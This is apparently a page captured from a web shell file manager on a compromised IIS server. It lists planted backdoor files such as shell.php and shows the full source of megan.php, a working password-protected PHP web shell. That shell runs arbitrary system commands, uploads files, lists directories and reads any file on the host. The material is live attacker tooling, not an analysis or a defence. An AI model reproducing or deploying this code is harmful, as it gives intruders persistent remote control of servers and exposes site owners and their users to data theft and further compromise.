HackFut Security File Manager
Current Path:
C:\inetpub\vhosts\omrumdenizkilic.online\mertmemduhderici.com.tr
Command Execution
C:
/
inetpub
/
vhosts
/
omrumdenizkilic.online
/
mertmemduhderici.com.tr
/
📁
-
📄
..
(0 B)
📄
.htaccess
(92 B)
📄
1.php
(677.09 KB)
📄
arnrz.php
(26.96 KB)
📄
frggu.php
(26.96 KB)
📄
index.html
(349 B)
📄
index.php
(4.44 KB)
📄
m.php
(523 B)
📄
manager.php
(4.44 KB)
📄
megan.php
(1.85 KB)
📄
prvxu.php
(26.96 KB)
📄
pu9.php
(2.13 KB)
📁
public
📄
pxcki.php
(26.96 KB)
📄
shell.php
(830 B)
📄
unzip.php
(9.49 KB)
📄
web.config
(233 B)
📁
xfini
📄
xfinity.zip
(720.29 KB)
📄
xmert.php
(2.36 KB)
Editing: megan.php
<?php session_start(); error_reporting(0); $p = isset($_POST['password']) ? $_POST['password'] : (isset($_GET['password']) ? $_GET['password'] : ''); if ($p !== 'warnight') { echo '<html><head><title>Megan Shell</title></head><body style="background:#0a0e17;color:#c5c8d0;font-family:monospace"> <center><h2>Megan Shell</h2><form method="POST"><input type="password" name="password" placeholder="password"> <button>Enter</button></form></center></body></html>'; exit; } $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : (isset($_GET['cmd']) ? $_GET['cmd'] : ''); $fn = isset($_FILES['f']['name']) ? $_FILES['f']['name'] : ''; $fc = isset($_FILES['f']['tmp_name']) ? $_FILES['f']['tmp_name'] : ''; $read = isset($_GET['read']) ? $_GET['read'] : ''; echo '<html><head><title>Megan Shell</title></head><body style="background:#0a0e17;color:#c5c8d0;font-family:monospace"><center><h2>Megan Shell</h2></center><pre>'; if ($fc) { move_uploaded_file($fc, dirname(__FILE__).'/'.$fn); echo "[+] uploaded: $fn\n"; } if ($read) { echo "--- $read ---\n"; echo htmlspecialchars(@file_get_contents($read)); } $d = isset($_GET['d']) ? $_GET['d'] : dirname(__FILE__); if (is_dir($d)) { echo "--- DIR: $d ---\n"; foreach (scandir($d) as $f) { echo $f . (is_dir($d.'/'.$f) ? '/' : '') . "\n"; } } if ($cmd) { echo "$ cmd\n"; @system($cmd . " 2>&1"); } echo '</pre><form method="POST" enctype="multipart/form-data"> <input type="hidden" name="password" value="warnight"> <input name="cmd" size="60" placeholder="command"><input type="submit" value="Run"> <br><input type="file" name="f"><input type="submit" value="Upload"></form> <form method="GET" style="font-family:monospace"><input type="hidden" name="password" value="warnight"> <input name="d" size="50" placeholder="dir to list"><input name="read" size="40" placeholder="file to read"> <input type="submit" value="Go"></form></body></html>';
Upload File
Create Folder